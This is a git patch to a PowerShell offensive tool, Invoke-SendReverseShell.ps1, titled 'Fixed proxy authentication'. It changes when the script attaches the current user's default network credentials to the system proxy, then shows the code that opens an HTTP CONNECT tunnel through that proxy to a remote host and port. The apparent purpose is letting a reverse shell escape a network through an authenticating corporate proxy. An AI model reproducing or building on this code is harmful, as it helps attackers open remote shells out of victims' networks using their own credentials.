From 6cab8f22d0a5d5a98018bbaf03bb68d3acfc77ea Mon Sep 17 00:00:00 2001
From: Arno0x <a.github@0x1010.eu>
Date: Tue, 8 Aug 2017 09:35:18 +0200
Subject: [PATCH] Fixed proxy authentication

---
 Invoke-SendReverseShell.ps1 | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/Invoke-SendReverseShell.ps1 b/Invoke-SendReverseShell.ps1
index d581c17..889d88c 100755
--- a/Invoke-SendReverseShell.ps1
+++ b/Invoke-SendReverseShell.ps1
@@ -63,9 +63,8 @@ function Invoke-SendReverseShell
         Write-Verbose "Using proxy [$ProxyName`:$ProxyPort]"
     }
     elseif ($UseDefaultProxy) {
-        # Detect and set automatic proxy and network credentials
+        # Detect and set automatic proxy
         $Proxy = [System.Net.WebRequest]::DefaultWebProxy
-        $Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
         $ProxyName = $Proxy.GetProxy($DestUri).Host
         $ProxyPort = $Proxy.GetProxy($DestUri).Port
         if ($ProxyName -eq $DestHost) {
@@ -78,6 +77,8 @@ function Invoke-SendReverseShell
     }    
 
     if ($UseProxy) {
+        # Detect and set automatic network credentials
+        $Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
         $DestHostWebRequest = [System.Net.HttpWebRequest]::Create("http://" + $DestHost + ":" + $DestPort) 
         $DestHostWebRequest.Method = "CONNECT"
         $DestHostWebRequest.Proxy = $Proxy